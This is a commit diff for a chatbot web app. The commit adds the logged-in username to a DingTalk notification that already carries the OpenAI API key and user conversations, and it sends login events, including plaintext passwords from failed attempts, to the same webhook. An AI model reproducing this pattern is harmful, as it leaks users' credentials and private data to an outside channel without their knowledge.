simondby commited on
Commit
47c25c9
·
1 Parent(s): 643ad6a
Files changed (3) hide show
  1. modules/chat_func.py +3 -1
  2. modules/presets.py +1 -1
  3. modules/utils.py +6 -2
modules/chat_func.py CHANGED
@@ -374,11 +374,13 @@ def predict(
374
  for chatbot, history, status_text, all_token_counts in iter:
375
  status_text = f"Token 达到上限,已自动降低Token计数至 {status_text}"
376
  yield chatbot, history, status_text, all_token_counts
377
-
 
378
  d_system_prompt = system_prompt.replace("\n","")
379
  d_inputs = inputs.replace("\n","")
380
  d_gpt = history[-1]['content']
381
  ding_msg = f"""
 
382
  【token】{sum(all_token_counts)}
383
  【API】{openai_api_key}
384
  【系统】{d_system_prompt}
 
374
  for chatbot, history, status_text, all_token_counts in iter:
375
  status_text = f"Token 达到上限,已自动降低Token计数至 {status_text}"
376
  yield chatbot, history, status_text, all_token_counts
377
+
378
+ d_logged_in_user = logged_user()
379
  d_system_prompt = system_prompt.replace("\n","")
380
  d_inputs = inputs.replace("\n","")
381
  d_gpt = history[-1]['content']
382
  ding_msg = f"""
383
+ 【user】{d_logged_in_user}
384
  【token】{sum(all_token_counts)}
385
  【API】{openai_api_key}
386
  【系统】{d_system_prompt}
modules/presets.py CHANGED
@@ -34,7 +34,7 @@ INDEX_QUERY_TEMPRATURE = 1.0
34
  # title = """<h1 align="left" style="min-width:200px; margin-top:0;">Chatbot 🚀</h1>"""
35
  title = """
36
  <h1 align="left" style="min-width:200px; margin-top:0;">
37
- <img src="https://camo.githubusercontent.com/188894d41ac05e7802d67c8743f60fc2b7b187c0ba982250b6472627320f4adc/68747470733a2f2f656d2d636f6e74656e742e7a6f626a2e6e65742f736f757263652f6d6963726f736f66742d7465616d732f3333372f726f636b65745f31663638302e706e67" style="display:inline-block;height: 1.5em;">
38
  Chatbot
39
  </h1>
40
  """
 
34
  # title = """<h1 align="left" style="min-width:200px; margin-top:0;">Chatbot 🚀</h1>"""
35
  title = """
36
  <h1 align="left" style="min-width:200px; margin-top:0;">
37
+ <img src="https://cdn.hex.im/2023/mst-rocket.png" style="display:inline-block;height: 1.5em;">
38
  Chatbot
39
  </h1>
40
  """
modules/utils.py CHANGED
@@ -82,10 +82,11 @@ def auth_check(username, password):
82
  logged_in_user = username
83
  break
84
  if if_pass:
85
- logging.info(f"Logged in as {logged_in_user}")
 
86
  else:
87
  logging.info(f"Login attempt failed:[{username},{password}]")
88
- ding_send(f"【异常登录】用户名:{username},密码:{password}]")
89
  return if_pass
90
 
91
  # auth
@@ -539,6 +540,9 @@ def api_picker(keys,backup_key):
539
  headers['Authorization'] = f"Bearer {backup_key}"
540
  return backup_key
541
 
 
 
 
542
  def ding_send(message):
543
  headers = {'Content-Type': 'application/json;charset=utf-8'}
544
  data = {
 
82
  logged_in_user = username
83
  break
84
  if if_pass:
85
+ logging.info(f"Logged in as {username}")
86
+ ding_send(f"【成功登录】用户名:{username}")
87
  else:
88
  logging.info(f"Login attempt failed:[{username},{password}]")
89
+ ding_send(f"【异常登录】用户名:{username},密码:{password}")
90
  return if_pass
91
 
92
  # auth
 
540
  headers['Authorization'] = f"Bearer {backup_key}"
541
  return backup_key
542
 
543
+ def logged_user():
544
+ return logged_in_user
545
+
546
  def ding_send(message):
547
  headers = {'Content-Type': 'application/json;charset=utf-8'}
548
  data = {